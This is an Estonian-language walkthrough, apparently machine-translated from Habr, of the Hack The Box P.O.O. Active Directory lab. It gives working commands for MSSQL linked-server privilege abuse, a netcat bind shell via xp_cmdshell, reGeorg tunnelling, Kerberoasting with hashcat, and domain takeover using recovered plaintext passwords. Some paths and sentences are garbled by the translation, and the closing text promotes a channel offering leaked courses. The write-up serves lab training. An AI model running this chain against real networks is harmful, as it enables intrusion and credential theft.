
Selles artiklis arutame, kuidas ületada mitte lihtsalt masinat, vaid tervet mini-laboratoriost. .
Nagu kirjas on, on P.O.O. mõeldud oskuste testimiseks kõigis rünnakute etappides väikestes Active Directory keskkondades. Eesmärk on kompenseerida juurdepääsetavat hosti, tõsta õigusi ja lõpuks kompromiteerida kogu domeeni, kogudes seejuures 5 lippu.
Laboratoorsesse juurde pääsemine toimub VPN kaudu. Soovitatav on mitte ühenduda tööarvutiga või hostiga, kus on teie jaoks olulised andmed, kuna pääsete privaatvõrku, kus on inimesi, kes oskavad teatud kaubanduses midagi teha 🙂
Organisatsiooniline teave
Kuna soovite saada teavet uute artiklite, tarkvara ja muu kohta, olen loonud ja infotehnoloogia ja küberturvalisuse valdkonnas. Samuti vaatan teie isiklikud soovid, küsimused, ettepanekud ja soovitused .
Kogu teave on esitatud üksnes hariduslikel eesmärkidel. Selle dokumendi autor ei vastuta mingite kahjustuste eest, mis võivad kellelegi tekkida selle dokumendi uurimise käigus saadud teadmiste ja meetodite kasutamisest.
Intro
See lõppkäik koosneb kahest masinast ja sisaldab 5 lippu.

Samuti antakse kirjelduse ja juurdepääsetava hosti aadress.

Alustame!
Recon lipp
Sellel masinal on IP-aadress 10.13.38.11, mille lisasin /etc/hosts.
10.13.38.11 poo.htb
Esmalt skanneerime avatud porte. Kuna kõikide portide skanneerimine nmapiga kestab kaua, teen seda esialgu masscaniga. Skenneerime kõiki TCP ja UDP porte tun0 liideselt 500 paketti sekundis.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Nüüd käivitame portide teenuseid sügavama teabe saamiseks skaneerimise -A valikuga.
nmap -A poo.htb -p80,1433 
Nii saame IIS ja MSSQL teenused. Sellega saame teada tegeliku DNS domeeninime ja arvuti nime. Veebiserveris tervitab meid IIS-i avaleht.

Vaatame ka kaustu. Selleks kasutan gobusterit. Seadistustes määrame lõime arvu 128 (-t), URL (-u), sõnastiku (-w) ja huvipakkuvad laiendid (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Nii on meil HTTP autentimine kaustas /admin ning ligipääsetav lauateenuse hoidla fail .DS_Store. .DS_Store on fail, kus hoitakse kausta kasutusmääranguid, nagu failide loetelu, ikoonide asukohad ja valitud taustapilt. Selline fail võib veebiarendajate juures sattuda veebiserveri kausta. Nii saame teavet katalooge sisu kohta. Selleks võib kasutada .
python3 dsstore_crawler.py -i http://poo.htb/ 
Me saame katalooge sisu. Kõige huvitavam siin on kataloog /dev, kust kahe haru abil saame vaadata lähtekoode ja db-faile. Kuid me saame teada ainult failide ja kataloogide nimede esimesed 6 tähte, kui teenus on haavatav IIS ShortName'i suhtes. Selle haavatavuse kontrollimiseks saab kasutada .

Ja leidsime ühe faili, mille nimi algab «poo_co». Ilma igasuguse plaanita valisin lihtsalt sõnastikust kõik sõnad, mis algavad «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtJa proovime wfuzz'i abil.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Ja leiame sobiva sõna! Vaatame seda faili, salvestame sisselogimise andmed (tundub, et need on MSSQL-i omad).

Anname lipu ja edusamme on 20%.

Huh lipu
Ühendume MSSQL-iga, kasutan DBeaverit.

Selles andmebaasis pole midagi huvitavat, loome SQL toimetaja ja vaatame, kes on kasutajad.
SELECT name FROM master..syslogins; 
Meil on kaks kasutajat. Vaatame oma õigusi.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Seega pole privileege. Vaatame seotud servereid, sellest meetodist kirjutasin ma põhjalikult. .
SELECT * FROM master..sysservers; 
Nii leiame veel ühe SQL Serveri. Kontrollime sellel serveril käivitatavaid käsklusi openquery() abil.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Me saame isegi ehitada päringute puu.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Asi on selles, et kui me teeme päringu seotud serveris, siis päring täidetakse teise kasutaja kontekstis! Vaatame, millise kasutaja kontekstis me töötame seotud serveris.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Nüüd vaatame, millises kontekstis käivitatakse päringud seotud serverist meie poole!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Seega on see DBO kontekst, millel peavad olema kõik õigused. Kontrollime õigusi seotud serveri päringu korral.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Nagu näha, on meil kõik õigused! Loome siis oma administraatori. Kuid openquery kaudu ei lubata, teeme selle EXECUTE AT kaudu.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Ja nüüd ühendame uue kasutaja mandaadi kaudu, jälgime uut andmebaasi flag.

Anname selle lipu ja liigume edasi.

BackTrack lipu
Saame MSSQL abil shelli, kasutan impacket paketti mssqlclient.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Me peame paroolid hankima, ja esimene asi, millega me kokku puutusime, on veebisait. Seega on meil vaja veebiserveri konfiguratsiooni (mugavat shelli ei saa käitada, ilmselt töötab tulemüür).

Kuid juurdepääs on keelatud. Kuigi me saame faili lugeda MSSQL-i kaudu, peame lihtsalt teadma, millised programmeerimiskeeled on seadistatud. Ja MSSQL-i kataloogist leiame, et seal on Python.

Sel juhul ei ole web.config faili lugemisel mingeid probleeme.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Leitud mandaatidega siseneme /admin ja saame lipu.


Foothold lipu
Tegelikult on tulemüüri kasutamisel mõned ebamugavused, kuid vaadates võrgu seadistusi, märkame, et kasutatakse ka IPv6-leke!

Lisame selle aadressi /etc/hosts.
dead:babe::1001 poo6.htb
Laseme jälle hosti skaneerida, kuid IPv6 protokolli kaudu.

Ja WinRM teenus on saadaval IPv6 kaudu. Ühendame leitud mandaadidega.

Töölaual on lipp, anname selle edasi.

P00ned lipu
Käideldes hosti luure abil ei leia midagi erilist. Siis otsustati uuesti otsida mandaate (sellest teemast olen ka kirjutanud ). Kuid WinRM kaudu ei õnnestunud mul kõiki SPN-e süsteemist saada.
setspn.exe -T intranet.poo -Q *\* 
Teeme käskluse läbi MSSQL.

Antud viisil saame p00_hr ja p00_adm kasutajate SPN-id, mis tähendavad, et nad on haavatavad sellise rünnaku nagu Kerberoasting suhtes. Ühesõnaga, me saame nende paroolide räsi.
Esmalt on vaja saada stabiilne shelly MSSQL kasutajanime alt. Kuid kuna meie juurdepääsu piiratakse, on meil ühendus hostiga ainult portide 80 ja 1433 kaudu. Aga on võimalus tunnelida liiklust 80 porta kaudu! Selleks kasutame . Laadime faili tunnel.aspx veebiserveri kodukausta — C:inetpubwwwroot.

Kuid proovides sellele juurde pääseda, saame vea 404. See tähendab, et *.aspx failid ei tööta. Et failid selle laiendiga töötaksid, paigaldame ASP.NET 4.5 järgmiselt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Ja nüüd, kui üritame tunnel.aspx-i juurde pääseda, saame vastuse, et kõik on tööks valmis.
![]()
Käivitame rakenduse kliendi osa, mis tegeleb liikluse edastamisega. Suuname kogu liikluse 5432 porti serverisse.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Ja kasutame proxychains'i, et suunata mistahes rakenduse liiklus meie proksist läbi. Lisame selle proksi konfiguratsioonifaili /etc/proxychains.conf.

Nüüd laadime serverisse programmi , millega loome stabiilse bind shelli ja skripti , millega teeme Kerberoastingu rünnaku.

Nüüd käivitame MSSQL kaudu listeneri.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Ja ühendame meie proksi kaudu.
proxychains rlwrap nc poo.htb 4321 
Ja saame hakata hash'e saama.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Edasi tuleb need hash'id lahti muukida. Kuna rockyou sõnastikus neid paroole ei olnud, kasutasin ma KÕIKI Seclists'is pakutud paroolide sõnastikke. Lahti muukimiseks kasutame hashcat'i.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceJa leidsime mõlemad paroolid, esimese sõnastikust dutch_passwordlist.txt ja teise Keyboard-Combinations.txt.


Nüüd on meil kolm kasutajat, läheme domeenikontrollerisse. Esiteks saame teada selle aadressi.

Suurepärane, me oleme tuvastanud domeeni kontrolleri IP-aadressi. Uurime nüüd, kes kõik on domeeni kasutajad ja kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet saada. Seejärel ühendame evil-winrm utiliidiga, määrates -s parameetris skripti asukoha. Ja siis laadime lihtsalt PowerView skripti üles.

Nüüd on kõik tema funktsioonid meie käsutuses. Kasutaja p00_adm näib olevat privileegidega, seega töötame tema kontekstis. Loome objekti PSCredential selle kasutaja jaoks.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNüüd, kõik Powershelli käsud, kus me määrame Creds, käivitatakse p00_adm nime all. Vaatame kasutajate loendit ja AdminCount atribuudid.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Nii et meie kasutaja on tõeliselt privileegitud. Uurime, millistes rühmades ta on.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Lõplikult kinnitame, et kasutaja on domeeni administraator. See annab talle õiguse kaugjuurdepääsuks domeenikontrollerile. Proovime sisse logida WinRM-i kaudu meie tunnelit kasutades. Mind häirisid reGeorg'i veateated evil-winrm'i kasutamisel.

Siis kasutame teist, lihtsamat WinRM-iga ühenduse loomiseks. Avame ja muudame ühenduse seadeid.

Proovime ühendust ja oleme süsteemis.

Aga lippu pole. Vaata kasutajat ja kontrollime töölaudu.

mr3ks-l leidsime lipu ja laboratoorium on 100% läbitud.

See on kõik. Tagasisideks kommenteerige, kas õppisite sellest artiklist midagi uut ja kas see oli teile kasulik.
Saate liituda meiega . Seal leiate huvitavaid materjale, lekkinud kursuseid ja ka tarkvara. Kogume kogu, kus on inimesi, kes mõistavad paljusid IT valdkondi, et me saaksime üksteisele igasugustes IT ja küberturbe küsimustes alatiabi anda.
Allikas: habr.com
